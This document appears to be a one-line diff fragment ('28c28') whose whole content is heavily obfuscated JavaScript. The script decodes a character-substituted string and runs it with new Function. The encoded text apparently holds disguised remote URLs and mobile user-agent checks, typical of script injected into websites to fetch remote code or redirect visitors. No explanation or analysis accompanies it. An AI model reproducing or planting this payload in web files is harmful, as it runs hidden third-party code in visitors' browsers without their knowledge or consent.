28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();